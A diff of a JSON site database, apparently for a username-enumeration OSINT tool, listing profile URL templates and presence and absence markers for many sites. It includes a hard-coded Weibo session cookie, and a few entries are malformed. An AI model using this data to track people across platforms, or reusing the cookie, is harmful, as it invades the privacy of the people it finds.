"usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 63852 + }, + "freelansim.ru": { + "engine": "engine404get", + "urlMain": "https://freelansim.ru", + "url": "https://freelansim.ru/freelancers/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 8720399 + }, + "fotolog.com": { + "tags": [ + "in" + ], + "engine": "engine404get", + "urlMain": "http://fotolog.com", + "url": "http://fotolog.com/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 30498 + }, + "thoughts.com": { + "tags": [ + "blog" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Page not found" + ], + "presenseStrs": [ + "user-activity" + ], + "urlMain": "http://thoughts.com", + "url": "http://thoughts.com/members/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "jules60", + "alexaRank": 313408 + }, + "hackernoon.com": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>HackerNoon" + ], + "presenseStrs": [ + " | HackerNoon" + ], + "urlMain": "https://hackernoon.com", + "url": "https://hackernoon.com/u/{username}", + "usernameUnclaimed": "noonewouldeverusethis71", + "usernameClaimed": "god", + "alexaRank": 4611 + }, + "Intigriti": { + "tags": [ + "eu", + "hacking" + ], + "checkType": "message", + "presenseStrs": [ + "avatar-container" + ], + "absenceStrs": [ + "We didn't find what you're looking for" + ], + "urlMain": "https://intigriti.com", + "url": "https://app.intigriti.com/profile/{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 128097 + }, + "yamaya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "Skype:" + ], + "absenceStrs": [ + "

" + ], + "urlMain": "https://yamaya.ru", + "url": "https://yamaya.ru/profile/?{username}", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "maya", + "alexaRank": 3335220 + }, + "Tinkoff Invest": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "ProfileHeader__nickname" + ], + "absenceStrs": [ + "ProductError" + ], + "urlMain": "https://www.tinkoff.ru/invest/", + "url": "https://tinkoff.ru/invest/social/profile/{username}/", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "adam", + "alexaRank": 1020 + }, + "Protovary.style": { + "checkType": "response_url", + "urlMain": "https://protovary.style", + "url": "https://protovary.style/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5350288 + }, + "beacons.ai": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "https://cdn.beacons.ai/profile_pictures" + ], + "absenceStrs": [ + "https://beacons.ai/bw_logo_full.png" + ], + "urlMain": "https://beacons.ai", + "url": "https://beacons.ai/{username}", + "usernameClaimed": "pasteljellies", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4488 + }, + "are.na": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Profile--view" + ], + "absenceStrs": [ + "Are.na home" + ], + "urlMain": "https://www.are.na", + "url": "https://www.are.na/{username}", + "usernameClaimed": "nate-cassel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 27323 + }, + "mywishboard.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "profile-header", + " profile-header__col" + ], + "absenceStrs": [ + "This page could not be found" + ], + "urlMain": "https://mywishboard.com", + "url": "https://mywishboard.com/@{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 379990 + }, + "crafta.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "cft-profile-about" + ], + "absenceStrs": [ + "Page not found" + ], + "urlMain": "https://crafta.ua", + "url": "https://{username}.crafta.ua/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 239025 + }, + "m.smutty.com": { + "tags": [ + "erotic", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile_stats_n" + ], + "absenceStrs": [ + "Not Found" + ], + "urlMain": "https://m.smutty.com", + "url": "https://m.smutty.com/user/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 25248, + "disabled": true + }, + "www.marykay.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "email" + ], + "absenceStrs": [ + "errorPage" + ], + "urlMain": "https://www.marykay.ru", + "url": "https://www.marykay.ru/{username}", + "usernameClaimed": "anna", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 195582, + "disabled": true + }, + "profile.hatena.ne.jp": { + "tags": [ + "jp" + ], + "checkType": "message", + "presenseStrs": [ + "profile" + ], + "absenceStrs": [ + "404 Not Found" + ], + "urlMain": "https://profile.hatena.ne.jp", + "url": "https://profile.hatena.ne.jp/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2204 + }, + "www.freelancejob.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "

\u041e\u0448\u0438\u0431\u043a\u0430 404

" + ], + "urlMain": "https://www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{username}/", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 230462 + }, + "forum.exkavator.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.exkavator.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 129118 + }, + "forum.kineshemec.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://forum.kineshemec.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 183592 + }, + "forum.nemodniy.ru": { + "disabled": true, + "engine": "vBulletin", + "urlMain": "http://forum.nemodniy.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2074283 + }, + "forum.zone-game.info": { + "engine": "vBulletin", + "urlMain": "https://forum.zone-game.info", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 913014 + }, + "forum.uinsell.net": { + "engine": "vBulletin", + "urlMain": "http://forum.uinsell.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "forum" + ] + }, + "forum.heroesworld.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://forum.heroesworld.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 403451 + }, + "brute.pw": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://brute.pw", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dapf.ru": { + "engine": "XenForo", + "urlMain": "https://dapf.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3930895 + }, + "cubecraft.net": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.cubecraft.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 175256 + }, + "cowboyszone.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://cowboyszone.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 209568 + }, + "forums.golfmonthly.com": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://forums.golfmonthly.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 42573 + }, + "Tom's guide": { + "tags": [ + "forum", + "tech" + ], + "engine": "XenForo", + "urlMain": "http://forums.tomsguide.com", + "usernameClaimed": "matthewvel", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 929 + }, + "onanizm.club": { + "disabled": true, + "engine": "XenForo", + "urlMain": "http://onanizm.club", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1254774 + }, + "mednolit.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://mednolit.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1105020 + }, + "mikele-loconte.ru": { + "engine": "uCoz", + "urlMain": "http://mikele-loconte.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "mkuniverse.ru": { + "engine": "uCoz", + "urlMain": "http://mkuniverse.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "hashnode": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "email", + "profile-tags", + "name", + "og:site_name", + " name=" + ], + "absenceStrs": [ + "We can\u2019t find the page you\u2019re looking for!" + ], + "urlMain": "https://hashnode.com", + "url": "https://hashnode.com/@{username}", + "usernameClaimed": "melwinalm", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 15106 + }, + "www.change.org": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name", + "last_name", + "Email", + "email", + "pathname" + ], + "urlMain": "https://www.change.org", + "url": "https://www.change.org/o/{username}", + "usernameClaimed": "changedotorg", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1540 + }, + "ifunny.co": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "subscribers" + ], + "urlMain": "https://www.ifunny.co", + "url": "https://www.ifunny.co/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 6540 + }, + "LocalCryptos": { + "urlProbe": "https://localcryptosapi.com/v1/accounts/profile/{username}", + "checkType": "message", + "presenseStrs": [ + "username", + "email_verified", + "Email verified", + "phone_verified", + "Phone verified" + ], + "absenceStrs": [ + "error" + ], + "urlMain": "https://localcryptosapi.com", + "url": "http://localcryptos.com/en/profile/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "djskt.lnk.to": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "artistName", + " legalName" + ], + "absenceStrs": [ + "No page with this URL exists" + ], + "urlMain": "https://djskt.lnk.to", + "url": "https://djskt.lnk.to/{username}", + "usernameClaimed": "LoveDontFadeTW", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2490 + }, + "Amazon": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "authorName" + ], + "absenceStrs": [ + "Sorry! We couldn't find that page" + ], + "urlMain": "https://amazon.com", + "url": "https://amazon.com/author/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11 + }, + "calendly.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + " User" + ], + "absenceStrs": [ + "The page you are looking for could not be found" + ], + "urlMain": "https://calendly.com", + "url": "https://calendly.com/{username}/15min", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 468 + }, + "depop.com": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "first_name" + ], + "absenceStrs": [ + "invalidUrlError__message" + ], + "urlMain": "https://www.depop.com", + "url": "https://www.depop.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7825 + }, + "community.brave.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.brave.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 952 + }, + "community.endlessos.com": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://community.endlessos.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 530563 + }, + "forum.endeavouros.com": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.endeavouros.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 113264 + }, + "forum.garudalinux.org": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.garudalinux.org", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 166470 + }, + "forum.snapcraft.io": { + "tags": [ + "forum", + "in" + ], + "engine": "Discourse", + "urlMain": "https://forum.snapcraft.io", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 14266 + }, + "forum.zorin.com": { + "engine": "Discourse", + "urlMain": "https://forum.zorin.com", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ], + "alexaRank": 70747 + }, + "codeseller.ru": { + "tags": [ + "kz", + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://codeseller.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 561266 + }, + "linuxpip.org": { + "tags": [ + "us" + ], + "engine": "Wordpress/Author", + "urlMain": "https://linuxpip.org", + "usernameClaimed": "diehard", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 43088 + }, + "Taringa": { + "disabled": true, + "tags": [ + "ar" + ], + "checkType": "message", + "presenseStrs": [ + "User", + " user-username", + " UserFeed" + ], + "absenceStrs": [ + "problema" + ], + "urlMain": "https://www.taringa.net", + "url": "https://www.taringa.net/{username}", + "usernameClaimed": "UniversoGIA", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 9671 + }, + "webonrails.ru": { + "checkType": "message", + "presenseStrs": [ + "post_feed_title" + ], + "absenceStrs": [ + "

\u041e\u0448\u0438\u0431\u043a\u0430

" + ], + "urlMain": "https://webonrails.ru", + "url": "https://webonrails.ru/user/{username}/", + "usernameClaimed": "spawn", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "coding", + "forum" + ], + "alexaRank": 962455, + "disabled": true + }, + "support.blue-systems.com": { + "engine": "Discourse", + "urlMain": "https://support.blue-systems.com", + "usernameClaimed": "santosmosley", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 6159329 + }, + "samesound.ru": { + "tags": [ + "ru" + ], + "engine": "Wordpress/Author", + "urlMain": "https://samesound.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 196795 + }, + "universemc.us": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://universemc.us", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 11324976 + }, + "slivsklad.ru": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivsklad.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "slivap.ru": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "urlMain": "https://slivap.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1238007 + }, + "skynetzone.net": { + "engine": "XenForo", + "urlMain": "https://skynetzone.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3111796 + }, + "https:": { + "engine": "XenForo", + "urlMain": "https://skyblock.net", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "gaming" + ], + "alexaRank": 349635 + }, + "codeberg.org": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "user profile", + " username text center" + ], + "absenceStrs": [ + "og:description", + " ui centered image" + ], + "urlMain": "https://codeberg.org", + "url": "https://codeberg.org/{username}", + "usernameClaimed": "pcastela", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 102679 + }, + "1x": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + " onload=", + "photos-feed", + "gallery-loadmore", + "lm_mode", + "create_exhibition_name" + ], + "absenceStrs": [ + "1x.com \u2022 In Pursuit of the Sublime", + " >404
" + ], + "urlMain": "https://1x.com", + "url": "https://1x.com/{username}", + "usernameClaimed": "michaelafiresova", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 81236 + }, + "TAP'D": { + "urlProbe": "https://tapd.co/api/user/getPublicProfile/{username}", + "checkType": "message", + "presenseStrs": [ + "\"_id\":" + ], + "absenceStrs": [ + "User does not exist" + ], + "urlMain": "https://tapd.co", + "url": "https://tapd.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "networking" + ], + "alexaRank": 743883 + }, + "wblitz.net": { + "checkType": "message", + "presenseStrs": [ + "profileBlock", + "tournaments", + "serverna", + " role=", + " name=" + ], + "absenceStrs": [ + "404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

404 \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430

" + ], + "urlMain": "https://wblitz.net", + "url": "https://wblitz.net/stat/ru/{username}", + "usernameClaimed": "lucklev12", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "gaming" + ], + "alexaRank": 1919115 + }, + "unc.ua": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "page-user_profile" + ], + "absenceStrs": [ + "Error Site" + ], + "urlMain": "https://unc.ua", + "url": "https://unc.ua/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1214262 + }, + "kloomba.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u043e\u0441\u0442\u0430\u043d\u043d\u0456\u0439 \u0432\u0456\u0437\u0438\u0442" + ], + "absenceStrs": [ + "\u0422\u0430\u043a\u043e\u0457 \u0441\u0442\u043e\u0440\u0456\u043d\u043a\u0438 \u043d\u0435 \u0456\u0441\u043d\u0443\u0454" + ], + "urlMain": "https://kloomba.com", + "url": "https://kloomba.com/users/{username}", + "usernameClaimed": "dima", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 265975 + }, + "nevrotic.net": { + "checkType": "message", + "presenseStrs": [ + "profile-tabs", + " profile-rating" + ], + "absenceStrs": [ + "table-404" + ], + "urlMain": "http://nevrotic.net", + "url": "http://nevrotic.net/user/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "ru" + ] + }, + "pikabu.monster": { + "tags": [ + "ru", + "sharing" + ], + "checkType": "message", + "presenseStrs": [ + "usertotalcomments", + " usertotalposts" + ], + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430" + ], + "urlMain": "https://pikabu.monster", + "url": "https://pikabu.monster/user/{username}-summary", + "source": "Pikabu", + "usernameClaimed": "Avezenit", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1115375 + }, + "steamdb.info": { + "tags": [ + "gaming" + ], + "type": "steam_id", + "checkType": "message", + "presenseStrs": [ + "profileForm", + " player-name", + " progress", + " data-not-game=" + ], + "absenceStrs": [ + "error-page", + " Error 404" + ], + "urlMain": "https://steamdb.info", + "url": "https://steamdb.info/calculator/{username}", + "source": "Steam", + "usernameClaimed": "76561197978866368", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1743 + }, + "Niftygateway": { + "tags": [ + "us" + ], + "urlProbe": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={username}", + "checkType": "message", + "presenseStrs": [ + "profile_url", + "name", + "profile_pic_url", + "verified", + "bio" + ], + "absenceStrs": [ + "not_found", + " User profile not located in our system." + ], + "urlMain": "https://api.niftygateway.com", + "url": "https://niftygateway.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 18499 + }, + "opensea.io": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "username\\", + "lastSale", + "publicUsername", + "name" + ], + "absenceStrs": [ + "This page is lost." + ], + "urlMain": "https://opensea.io", + "url": "https://opensea.io/accounts/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 259 + }, + "SmiHub": { + "disabled": true, + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user-page", + "user", + " data-name=", + "user__img" + ], + "absenceStrs": [ + "text-lg mb-3" + ], + "urlMain": "https://smihub.com", + "url": "https://smihub.com/v/{username}", + "source": "Instagram", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 869859 + }, + "do100verno.info": { + "checkType": "message", + "presenseStrs": [ + "white-space: nowrap;" + ], + "absenceStrs": [ + "l-main", + " l-mainDcL", + " l-usrMenu" + ], + "urlMain": "https://do100verno.info", + "url": "https://do100verno.info/card/{username}", + "usernameClaimed": "ekostyle", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "blog" + ], + "disabled": true + }, + "www.kinokopilka.pro": { + "tags": [ + "il" + ], + "checkType": "message", + "presenseStrs": [ + "profile", + "user", + "people", + "users", + "/people" + ], + "urlMain": "https://www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 257521 + }, + "www.turpravda.com": { + "tags": [ + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "email", + " name" + ], + "absenceStrs": [ + "Title", + " Shortcut Icon", + " submit" + ], + "urlMain": "https://www.turpravda.com", + "url": "https://www.turpravda.com/profile/{username}", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 532724 + }, + "www.minds.com": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "username", + " email" + ], + "absenceStrs": [ + "> ItemFix - Channel: " + ], + "presenseStrs": [ + "user_token" + ], + "url": "https://www.itemfix.com/c/{username}", + "urlMain": "https://www.itemfix.com", + "usernameClaimed": "William_Pickton", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "us" + ], + "alexaRank": 8543 + }, + "www.opendiary.com": { + "urlSubpath": "/m", + "urlMain": "https://www.opendiary.com", + "engine": "Wordpress/Author", + "usernameClaimed": "oniongirl", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "us" + ], + "alexaRank": 1316800 + }, + "fediverse.party": { + "absenceStrs": [ + "Fediverse.Party - explore federated networks", + " error__page" + ], + "presenseStrs": [ + "mastodon-share", + "mastodon", + "socialhome", + "> 400 Bad Request" + ], + "presenseStrs": [ + "{\"ok\":1,\"data\":{\"user\":" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "cross-site", + "Priority": "u=0, i", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Accept-Encoding": "gzip, deflate, br, zstd", + "TE": "trailers", + "Cookie": "SUB=_2AkMQDkYqf8NxqwFRmf4QzWnqbop-wwHEieKmUrfxJRMxHRl-yT9kqm4gtRB6O45oxc8K9O2Jsarg5zYMmQy3bR_LfISF; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com; secure; httponly; SameSite=None, SUBP=0033WrSXqPxfM72-Ws9jqgMF55529P9D9Whze9rurqv2pUdg7sY.DTbO; expires=Saturday, 06-Dec-2025 09:51:25 GMT; path=/; domain=.weibo.com, SRT=D.QqHBTrsMMFkSVdRtOeYoWrSNUdRr4Q9QUeE8U3vkW3WzMdbbN-sPVcStNbHi5mYNUCsuPDbhVdrrS3MNAZSLiDP65FJtNqbLJ%219qRQHeiQ9SOdsM5Oi84byJS%21bOMX77%2AB.vAflW-P9Rc0lR-ykKDvnJqiQVbiRVPBtS%21r3J8sQVqbgVdWiMZ4siOzu4DbmKPWf5c4uVePpVQRpVEP%21SqWqdNumPFHL; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure; HttpOnly, SRF=1733478685; expires=Mon, 04-Dec-2034 09:51:25 GMT; Max-Age=315360000; path=/; domain=.passport.weibo.com; secure" + }, + "activation": { + "method": "weibo", + "marks": [ + "\u5fae\u535a</title", + "<title>Sina Visitor System" + ], + "url": "https://passport.weibo.com/visitor/genvisitor2" + }, + "urlProbe": "https://weibo.com/ajax/profile/info?custom={username}", + "url": "https://weibo.com/{username}", + "urlMain": "https://weibo.com", + "usernameClaimed": "clairekuo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn", + "networking" + ], + "alexaRank": 24 + }, + "Hatena": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "profile", + "myprofile", + "profile-dt", + "profile-dd", + "hatena-profile" + ], + "url": "http://profile.hatena.com/{username}/", + "urlMain": "http://profile.hatena.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "bookmarks", + "jp" + ], + "alexaRank": 606246 + }, + "angel.co": { + "absenceStrs": [ + "render_not_found" + ], + "presenseStrs": [ + "Profile", + "profiles", + "User profile", + "name", + "layouts/profile" + ], + "url": "https://angel.co/u/{username}", + "urlMain": "https://angel.co", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 3661 + }, + "nelubit.ru": { + "urlMain": "https://nelubit.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3887958 + }, + "actual-porn.org": { + "disabled": true, + "urlMain": "http://actual-porn.org", + "engine": "vBulletin", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 147937 + }, + "Aminus3": { + "absenceStrs": [ + "Expires", + " no-cache" + ], + "presenseStrs": [ + "image/ico", + " title=" + ], + "url": "https://{username}.aminus3.com/", + "urlMain": "https://aminus3.com", + "usernameClaimed": "beautifulworld", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 320009 + }, + "lomography": { + "absenceStrs": [ + "404 \u00b7 Lomography" + ], + "presenseStrs": [ + "Lomography", + " @lomography" + ], + "url": "https://www.lomography.com/homes/{username}", + "urlMain": "https://www.lomography.com", + "usernameClaimed": "steved7755", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 35937 + }, + "jAlbum.net": { + "absenceStrs": [ + "section", + " error_head" + ], + "regexCheck": "^[^\\.]+$", + "presenseStrs": [ + "alternate", + " og:image" + ], + "url": "https://{username}.jalbum.net/", + "urlMain": "https://jalbum.net", + "usernameClaimed": "laza", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 273823 + }, + "23hq": { + "absenceStrs": [ + "my-modal", + " enable", + " modal", + "The requested file couldn't be located" + ], + "presenseStrs": [ + "frame", + "first active", + "user", + "last", + "country-name" + ], + "url": "http://www.23hq.com/{username}", + "urlMain": "http://www.23hq.com", + "usernameClaimed": "nellyb", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 24678 + }, + "bliphoto": { + "absenceStrs": [ + "Your photo journal | Blipfoto" + ], + "presenseStrs": [ + "biography", + "biography-full", + "profile-sidebar", + "profile-content", + "state" + ], + "url": "https://www.blipfoto.com/{username}", + "urlMain": "https://www.blipfoto.com", + "usernameClaimed": "Wildstar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 434270 + }, + "Fotki": { + "absenceStrs": [ + "'404 - Member Not Found'" + ], + "presenseStrs": [ + "profile-cities", + "profile-friends", + "profile-aboutme", + "profile-country", + "user_profile_info" + ], + "url": "https://members.fotki.com/{username}/about/", + "urlMain": "https://fotki.com", + "usernameClaimed": "normargab", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "photo" + ], + "alexaRank": 45941 + }, + "viewbug": { + "absenceStrs": [ + "missing-photos" + ], + "presenseStrs": [ + "profile", + " profile_content" + ], + "url": "https://www.viewbug.com/member/{username}", + "urlMain": "https://www.viewbug.com", + "usernameClaimed": 